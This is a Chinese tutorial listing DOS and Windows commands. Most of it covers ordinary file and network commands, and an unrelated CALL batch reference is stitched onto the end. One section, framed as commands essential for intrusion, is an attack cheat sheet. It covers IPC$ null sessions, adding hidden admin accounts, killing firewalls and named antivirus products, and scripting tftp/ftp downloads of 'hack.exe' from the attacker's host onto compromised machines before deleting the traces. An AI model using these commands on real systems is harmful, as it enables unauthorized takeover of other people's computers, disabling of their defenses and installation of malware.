惯用DOS命令

常用DOS命令
一、常用DOS命令
(1)cd..                           cd..         退到次一级目录
     cd\                            cd\          退到根目录下的意思
     cd 文件夹名字                  cd windows 进入WINDOWS目录
(2)md 文件夹名字                  md win       建立名为win的文件夹
(3)rd 文件夹名字                  rd win       删除名为win的文件夹
                                        (前提是win里没有任何文件)
(4)copy 路径下文件目标路径       copy C:\1\mima.txt C:\2\ 拷贝文件
(5)del 目标路径下文件             del C:\1\3\TCP.txt      删除文件
                               del c:\1      删除c盘1目录所有文件      看见没mima.txt被删除了但是3这个文件夹还没删除
                                               只是文件不会删除ghost里
                                               其他文件夹里的东西。
(6)dir 文件夹名字或盘符           dir c:\windows    查看C盘windows里目录文件
----------------------------------------
│dir/W:宽屏显示,一排显示5个文件名,而不会显示修改时间,文件大小等信息;│
│dir/S:显示当前目录及其子目录下所有的文件,                               │
│dir/a 查看所有文件包括隐藏文件     dir c:\windows /a                        │
│dir/p 分页查看               这里的很实用的,大家一定要自己试试                                               │
-----------------------------------------
(为了节省大家的时间,方框里面的我就不介绍了,大家自己试试)
(7)format 盘符     格式化硬盘       (这个我就不演示了.你问我为什么,汉.........我心疼我的硬盘^_^)
(8)ren 文件名文件名    改名        ren 1.bat 2.bat    将1.bat改名为2.bat    这几个文件我还没创建,现在我们创建一下,好了
(9)type 文件名    查看文件内容(一般用来看bat或txt文件)
(10)cls    清屏(没多大用)
二、常用网络DOS命令
(11)fport                                查看系统端口和端口上运行的程序这个命令我也不知道怎么了,等我查一下用法,发到论坛上,不好意思,
(12)netstat -an                          查看所有连接本机IP 
(13)ipconfig /all                        查看所有连接本机IP
(14)telnet IP 端口                       连接对方机器某个端口
(15)net user                             查看本机用户
      net user 用户名 密码 /add            建立一个用户
      net user 用户名 /del                 删除一个用户
(16)net localgroup administrators 用户名 /add     把用户添加到管理员     
      net localgroup administrators 用户名 /del     把用户从管理员组删除
这个就不用演示了,和上面 的一样
三、批处理文件
批处理。就是批量处理多条命令的文件。
后缀为bat
内容可以自己编辑多条dos命令。他会按照顺序自动运行。
(17)怎样在对方机器DOS窗口下建立批处理文件?
copy con 文件名.bat
C:\>cd 2
C:\2>dir    这就是我刚才打的命令
(省略号代表命令)
CTRL+Z 存盘退出
这样一个bat文件也就做好了。我们执行一下
四、其它命令
(18)mem--查看你的计算机内存有多少,以及内存的使用情况
(19)time--显示和设置DOS的系统时间    Enter the new time: 意思是设置时间,我们按回车就可以跳过去了
(20)date--显示和设置DOS的系统日期    用法和time命令一样
(21)ver--显示正在运行的DOS系统版本号
注意:每行一个命令,命令与说明之间请用“---”隔开,请勿删除此行!
dir
cd\
ping ip---向对方主机发送默认大小为32字节的数据
ipconfig---用于查看本地ip地址
net use \\ip\ipc$ "" /user:""---建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名"---建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名"---登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del---删除IPC链接
net use h: /del---删除映射对方到本地的为H:的映射
net user 用户名 密码 /add---建立用户
net user guest /active:yes---激活guest用户
net user---查看有哪些用户
net user 帐户名---查看帐户的属性
net localgroup administrators 用户名 /add---把“某用户”添加到管理员中
net start---查看开启了哪些服务
net start 服务名---开启服务;(如:net start telnet)
net stop 服务名---停止某服务
net time \\目标ip---查看对方时间
net time \\目标ip /set---设置本地计算机时间与“目标IP”主机的时间同步
net view---查看本地局域网内开启了哪些共享
net view \\ip---查看对方局域网内开启了哪些共享
net config---显示系统网络设置
net logoff---断开连接的共享
net pause 服务名---暂停某服务
net send ip "文本信息"---向对方发信息
net share---查看本地开启的共享
net share ipc$---开启ipc$共享
net share ipc$ /del---删除ipc$共享
net share c$ /del---删除C:共享
net user guest 12345---用guest用户登陆后用将密码改为12345
net password 密码---更改系统登陆密码
netstat -a---查看开启了哪些端口,常用netstat -an
netstat -n---查看端口的网络连接情况,常用netstat -an
netstat -v---查看正在进行的工作
netstat -p 协议名---例:netstat -p tcq/ip 查看某协议使用情况
netstat -s---查看正在使用的所有协议使用情况
nbtstat -A ip---对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名
regedit---打开注册表编辑器
telnet---打开TELNET
cls---清屏
入侵必备DOS命令总结
一.对用户操作
net user --------查看有哪些用户
net user guest /active:yes  ------ 激活guest用户
net user 用户名 密码 /add  ------建立用户
net localgroup administrators 用户名 /add -------   把“用户”添加到管理员中使其具有管理员权限
二.必备命令
net start -----查看开启了哪些服务
net start 服务名-----开启服务
net stop 服务名------停止某服务
netstat -an  :查看端口的网络连接情况
ipconfig :查看本地ip地址
三.关防火墙,杀毒软件命令
net stop sharedaccess  ----关系统自带防火墙
pskill.exe ravmon -----杀掉瑞星软件
pskill.exe pfw  ----关天网防火墙
net stop "Symantec AntiVirus"----关于诺顿企业版
net stop KAVStart------关闭金山杀毒
向肉鸡上传文件命令:
第一种方法:tftp
命令格式:tftp -i 你的公网IP  get xx.exe
第二种方法:ftp
命令格式:
echo open xxx.xxx.xxx.xxx>c:\520hack.txt
echo user>>c:\520hack.txt
echo pass>>c:\520hack.txt 
echo get hack.exe>>c:\520hack.txt
echo bye>>c:\520hack.txt
ftp -s:c:\520hack.txt
del c:\520hack.txt
第三种方法:
start  http://www.xxx.com (改成你的网页木马地址)



  从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。
  语法:CALL[drive:][path]filename[batch-parameters]

  参数:[drive:][path]filename,指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。

  batch-parameters 指定批处理程序所需的命令行信息。

  CALL 注解

  使用批处理参数:批处理参数可包含传递给批处理程序的任何信息,包括开关项、文件名、可替换参数%1至%9,以及环境变量,如%baud%。

  使用管道和重定向符:在CALL命令中,不要用管道("|")和重定向符号("<<","<",">",和">>")。

  递归调用:可以创建一个批处理程序调用它本身,但必须有一条exit命令。否则,父、子批处理程序将无限循环下去。

  ======================================================

  CALL 例子

  从另一批处理程序运行 CHECKNEW.BAT,在父批处理程序中可包含命令:call checknew

  假设父批处理程序接收两个可替换参数,并希望将它们传给CHECKNEW.BAT。可在父批理程序中使用命令:call checknew %1%2